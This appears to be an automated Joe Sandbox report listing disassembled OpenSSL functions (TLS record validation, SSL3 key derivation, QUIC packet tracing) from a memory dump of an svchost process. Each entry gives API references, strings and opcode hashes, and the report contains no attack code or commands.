Opcode ID: 5101c59aa68ee3393d43322b98f1a4acd6eff51a8c32219e74bb6ec9eb32ee5f
Instruction ID: fee3c41fa81f99540f8ed0a27c0be14dadabedc9550f33109eba1bca7dcba121
Opcode Fuzzy Hash: 5101c59aa68ee3393d43322b98f1a4acd6eff51a8c32219e74bb6ec9eb32ee5f
Instruction Fuzzy Hash: 8C619FB1A0E64282E666EB71D4922FE7350EF41384F908532EE3D43AF6DE2CE449C601

Function 00007FFBAB47A8C0 Relevance: 50.9, APIs: 22, Strings: 7, Instructions: 169stringCOMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47A8EA
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47A902

Part of subcall function 00007FFBAB477530: ERR_vset_error.LIBCRYPTO-3-X64(?,?,00007FFBAB473310,?,00007FFBAB472C46), ref: 00007FFBAB47755E

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47A92F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47A947
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB47A9AF
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB47A9CD
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB47A9EB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB47AA09
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB47AA27
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47AA31
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47AA49

Strings

GET , xrefs: 00007FFBAB47A998
ssl\record\methods\tlsany_meth.c, xrefs: 00007FFBAB47A8FB, 00007FFBAB47A940, 00007FFBAB47AA42, 00007FFBAB47AA81, 00007FFBAB47AAAD, 00007FFBAB47AAD9, 00007FFBAB47AB34, 00007FFBAB47AB77
PUT , xrefs: 00007FFBAB47A9FF
HEAD , xrefs: 00007FFBAB47A9E1
tls_validate_record_header, xrefs: 00007FFBAB47A8EF, 00007FFBAB47A934, 00007FFBAB47AA36, 00007FFBAB47AA75, 00007FFBAB47AAA1, 00007FFBAB47AAD2, 00007FFBAB47AB28, 00007FFBAB47AB6B
POST , xrefs: 00007FFBAB47A9C3
CONNE, xrefs: 00007FFBAB47AA1D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: strncmp$R_newR_set_debug$R_vset_error
String ID: CONNE$GET $HEAD $POST $PUT $ssl\record\methods\tlsany_meth.c$tls_validate_record_header
API String ID: 1021621777-2841161646
Opcode ID: 67bfad5459e433cc4193c965d1d0c393b8247258666c6daa1f243ce290b52318
Instruction ID: 0d5efa07dad90cd8f8f3a07b6c9542a105ac1f5142fcf79ec6b528555501f641
Opcode Fuzzy Hash: 67bfad5459e433cc4193c965d1d0c393b8247258666c6daa1f243ce290b52318
Instruction Fuzzy Hash: 07714CF0A1E64282FB63D772E9917B92351AF45740F84C036DE2D82AF6DE2CE589C741

Function 00007FFBAB416950 Relevance: 49.2, APIs: 25, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB42EF20: ERR_set_mark.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF4C
Part of subcall function 00007FFBAB42EF20: OBJ_nid2sn.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF53
Part of subcall function 00007FFBAB42EF20: EVP_MD_fetch.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF61
Part of subcall function 00007FFBAB42EF20: ERR_pop_to_mark.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF69

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4169CA
EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4169D2
memset.VCRUNTIME140 ref: 00007FFBAB416A2D
EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416A41
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416A59
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416A78
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416A95
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416AB2
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416ACA
EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416AE2
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416B01
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416B1C
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416B3B
OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB416B5E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416B70
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB416B88
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416B9A
memcpy.VCRUNTIME140 ref: 00007FFBAB416BB1
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416BB8
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416BC4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416BD0
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416BDC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB416BF4
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB416C11
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB416C19

Strings

ssl3_generate_key_block, xrefs: 00007FFBAB416B7A, 00007FFBAB416BE1
ssl\s3_enc.c, xrefs: 00007FFBAB416B81, 00007FFBAB416BED
A, xrefs: 00007FFBAB416985

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Digest$Update$R_new$Final_ex$Init_exR_set_debugX_freeX_new$D_fetchJ_nid2snL_cleanseR_pop_to_markR_set_markmemcpymemset
String ID: A$ssl3_generate_key_block$ssl\s3_enc.c
API String ID: 2557040286-359777381
Opcode ID: e584c2e9da6e5f393ddd4119df51808c353301be78a0e08073fd5a27a4efb0f9
Instruction ID: c01938c9f841609b6bbb6ba08bacbd43dda9bdf98861724a4107ef00eb3976d2
Opcode Fuzzy Hash: e584c2e9da6e5f393ddd4119df51808c353301be78a0e08073fd5a27a4efb0f9
Instruction Fuzzy Hash: 4871E8E2A4E65245FB62EB72E4522BE5350EF88784F04D432EE6D476E6DE3CE508C701

Function 00007FFBAB482EB0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 316COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB482F00
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB482F18

Strings

, xrefs: 00007FFBAB483212
SHA2-256, xrefs: 00007FFBAB483238
tls_construct_stoc_cookie, xrefs: 00007FFBAB482F05, 00007FFBAB48312A, 00007FFBAB4832AA, 00007FFBAB483326, 00007FFBAB4833A7
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB482F11, 00007FFBAB483136, 00007FFBAB4832B1, 00007FFBAB483332, 00007FFBAB4833AE
HMAC, xrefs: 00007FFBAB4831F7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: $HMAC$SHA2-256$ssl\statem\extensions_srvr.c$tls_construct_stoc_cookie
API String ID: 193678381-4098586831
Opcode ID: 50c5b3cb4f7184f96c201f83d8d0f0fbfd58974cee0eea2d56210e7cbae781a4
Instruction ID: f8954907f5d790b3c90af95eaa780701c6c8b797c9149b0a653f7ad099c602ae
Opcode Fuzzy Hash: 50c5b3cb4f7184f96c201f83d8d0f0fbfd58974cee0eea2d56210e7cbae781a4
Instruction Fuzzy Hash: 7BD16CA1F0A64381FB62ABB2D4563FD1391AF417C4F44C432EE2D87AA6EE3CE5058311

Function 00007FFBAB46646F Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 93COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664B6
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664CF
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664DE
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664F3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466521
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466536
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46654B
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466579
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46658C
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665A3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665BB
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665D5
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665F9
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466620
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466642

Strings

%02x, xrefs: 00007FFBAB466616
Version: 0x%08lx, xrefs: 00007FFBAB4664C5
Packet Type: %s, xrefs: 00007FFBAB4664AC
Payload length: %zu, xrefs: 00007FFBAB466582
Initial, xrefs: 00007FFBAB46646F
<zero length token>, xrefs: 00007FFBAB4665B4
Source Conn Id: , xrefs: 00007FFBAB46652C
Destination Conn Id: , xrefs: 00007FFBAB4664D4
Token: , xrefs: 00007FFBAB466599
<zero length id>, xrefs: 00007FFBAB4664EC, 00007FFBAB466544
Packet Number: 0x, xrefs: 00007FFBAB4665EF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: Destination Conn Id: $ Packet Number: 0x$ Packet Type: %s$ Payload length: %zu$ Source Conn Id: $ Token: $ Version: 0x%08lx$%02x$<zero length id>$<zero length token>$Initial
API String ID: 4098839300-1860078395
Opcode ID: 984a4ca65b395535d14a4b4b72b1098ce9b5ece42fb9197c3d5c9a990b7cf965
Instruction ID: d4c058791735025ad6f383cfe61bef89749cd0a90ed4eb2a102a5a2c26cb84bb
Opcode Fuzzy Hash: 984a4ca65b395535d14a4b4b72b1098ce9b5ece42fb9197c3d5c9a990b7cf965
Instruction Fuzzy Hash: 92415DD0E4EA4294FE26DB75E8511FC2B619F457C4F449035DE2E172BADE3CE40A9300

Function 00007FFBAB466478 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 93COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664B6
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664CF
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664DE
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664F3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466521
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466536
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46654B
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466579
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46658C
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665A3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665BB
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665D5
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665F9
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466620
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466642

Strings

%02x, xrefs: 00007FFBAB466616
Version: 0x%08lx, xrefs: 00007FFBAB4664C5
Packet Type: %s, xrefs: 00007FFBAB4664AC
0RTT, xrefs: 00007FFBAB466478
Payload length: %zu, xrefs: 00007FFBAB466582
<zero length token>, xrefs: 00007FFBAB4665B4
Source Conn Id: , xrefs: 00007FFBAB46652C
Destination Conn Id: , xrefs: 00007FFBAB4664D4
Token: , xrefs: 00007FFBAB466599
<zero length id>, xrefs: 00007FFBAB4664EC, 00007FFBAB466544
Packet Number: 0x, xrefs: 00007FFBAB4665EF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: Destination Conn Id: $ Packet Number: 0x$ Packet Type: %s$ Payload length: %zu$ Source Conn Id: $ Token: $ Version: 0x%08lx$%02x$0RTT$<zero length id>$<zero length token>
API String ID: 4098839300-3071389416
Opcode ID: 928cbb28a5ac4e3e552a890fde935cd0a2eb3a3cb215029dff804dde01864b20
Instruction ID: 3be32018a1f119e0785b4076e8296f06d482648812521128047246ac85ecb4bf
Opcode Fuzzy Hash: 928cbb28a5ac4e3e552a890fde935cd0a2eb3a3cb215029dff804dde01864b20
Instruction Fuzzy Hash: F3415CD0E4EA4290FE26DB75E9911FC2B619F457C4F449036DE2E172BADE3CE50A9300

Function 00007FFBAB466493 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 93COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664B6
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664CF
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664DE
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664F3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466521
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466536
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46654B
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466579
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46658C
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665A3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665BB
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665D5
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665F9
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466620
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466642

Strings

1RTT, xrefs: 00007FFBAB466493
%02x, xrefs: 00007FFBAB466616
Version: 0x%08lx, xrefs: 00007FFBAB4664C5
Packet Type: %s, xrefs: 00007FFBAB4664AC
Payload length: %zu, xrefs: 00007FFBAB466582
<zero length token>, xrefs: 00007FFBAB4665B4
Source Conn Id: , xrefs: 00007FFBAB46652C
Destination Conn Id: , xrefs: 00007FFBAB4664D4
Token: , xrefs: 00007FFBAB466599
<zero length id>, xrefs: 00007FFBAB4664EC, 00007FFBAB466544
Packet Number: 0x, xrefs: 00007FFBAB4665EF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: Destination Conn Id: $ Packet Number: 0x$ Packet Type: %s$ Payload length: %zu$ Source Conn Id: $ Token: $ Version: 0x%08lx$%02x$1RTT$<zero length id>$<zero length token>
API String ID: 4098839300-1594244681
Opcode ID: 264e043a6882cd5bd435734d9db1f545b700eb8236dd76e3680822af3bab3e74
Instruction ID: 090d86098351f727be5b28288442b31652c045ce40bdb0c6b6308c21b5052d61
Opcode Fuzzy Hash: 264e043a6882cd5bd435734d9db1f545b700eb8236dd76e3680822af3bab3e74
Instruction Fuzzy Hash: 06415CD0E4EA4290FE26DB75E8911FC2B619F457C4F449036DE2E172BADE3CE40A9300

Function 00007FFBAB466481 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 93COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664B6
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664CF
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664DE
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664F3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466521
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466536
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46654B
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466579
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46658C
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665A3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665BB
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665D5
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665F9
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466620
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466642

Strings

%02x, xrefs: 00007FFBAB466616
Version: 0x%08lx, xrefs: 00007FFBAB4664C5
Packet Type: %s, xrefs: 00007FFBAB4664AC
Payload length: %zu, xrefs: 00007FFBAB466582
<zero length token>, xrefs: 00007FFBAB4665B4
Source Conn Id: , xrefs: 00007FFBAB46652C
Destination Conn Id: , xrefs: 00007FFBAB4664D4
Handshake, xrefs: 00007FFBAB466481
Token: , xrefs: 00007FFBAB466599
<zero length id>, xrefs: 00007FFBAB4664EC, 00007FFBAB466544
Packet Number: 0x, xrefs: 00007FFBAB4665EF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: Destination Conn Id: $ Packet Number: 0x$ Packet Type: %s$ Payload length: %zu$ Source Conn Id: $ Token: $ Version: 0x%08lx$%02x$<zero length id>$<zero length token>$Handshake
API String ID: 4098839300-3950675722
Opcode ID: c59a1bdaf8b58626ab22597feafb7eb337a94abe441109457761569a3fe6783f
Instruction ID: 92e47d35aa60e2d04c814100339cd6f66534558a4eb7d9120d68be04c847ab71
Opcode Fuzzy Hash: c59a1bdaf8b58626ab22597feafb7eb337a94abe441109457761569a3fe6783f
Instruction Fuzzy Hash: F8415CD0E4EA4290FE26DB75E8911FC2B619F457C4F449036DE2E172BADE3CE40A9300

Function 00007FFBAB46648A Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 93COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664B6
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664CF
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664DE
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4664F3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466521
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466536
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46654B
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466579
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46658C
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665A3
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665BB
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665D5
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4665F9
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466620
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466642

Strings

%02x, xrefs: 00007FFBAB466616
Version: 0x%08lx, xrefs: 00007FFBAB4664C5
Packet Type: %s, xrefs: 00007FFBAB4664AC
Payload length: %zu, xrefs: 00007FFBAB466582
<zero length token>, xrefs: 00007FFBAB4665B4
Source Conn Id: , xrefs: 00007FFBAB46652C
Destination Conn Id: , xrefs: 00007FFBAB4664D4
Token: , xrefs: 00007FFBAB466599
<zero length id>, xrefs: 00007FFBAB4664EC, 00007FFBAB466544
Retry, xrefs: 00007FFBAB46648A
Packet Number: 0x, xrefs: 00007FFBAB4665EF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: Destination Conn Id: $ Packet Number: 0x$ Packet Type: %s$ Payload length: %zu$ Source Conn Id: $ Token: $ Version: 0x%08lx$%02x$<zero length id>$<zero length token>$Retry
API String ID: 4098839300-2815561440
Opcode ID: 67fb42c6d8a87e11502fd2278393b3d52b4fd394e71b3f26912515776d325309
Instruction ID: a973cbcde6ad9e14011b2155313ed20629bedc27c6ef62ed8f059afdba6fd4c4
Opcode Fuzzy Hash: 67fb42c6d8a87e11502fd2278393b3d52b4fd394e71b3f26912515776d325309
Instruction Fuzzy Hash: 30415CD0E4EA4294FE26DB75E8911FC2B619F457C4F449136DE2E172BADE3CE40A9300

Function 00007FFBAB43E990 Relevance: 42.2, APIs: 11, Strings: 13, Instructions: 224COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB43EA9C
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB43EAD8

Part of subcall function 00007FFBAB441090: BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43ECDD), ref: 00007FFBAB4410D4
Part of subcall function 00007FFBAB441090: BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43ECDD), ref: 00007FFBAB4410EF

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB43EB0E
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB43EB4F
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB43EBB6
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB43EC00
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB43ECE7

Strings

change_cipher_spec (1), xrefs: 00007FFBAB43ECB0
Sent, xrefs: 00007FFBAB43EACA, 00007FFBAB43EB00
epoch=%d, sequence_number=%04x%04x%04x, xrefs: 00007FFBAB43EB96
unknown value, xrefs: 00007FFBAB43ECC1
Received, xrefs: 00007FFBAB43EAAA
TLS RecordHeader: Version = %s (0x%x), xrefs: 00007FFBAB43EB45
UNKNOWN, xrefs: 00007FFBAB43EA82, 00007FFBAB43EB20
Message length parse error!, xrefs: 00007FFBAB43EC3F
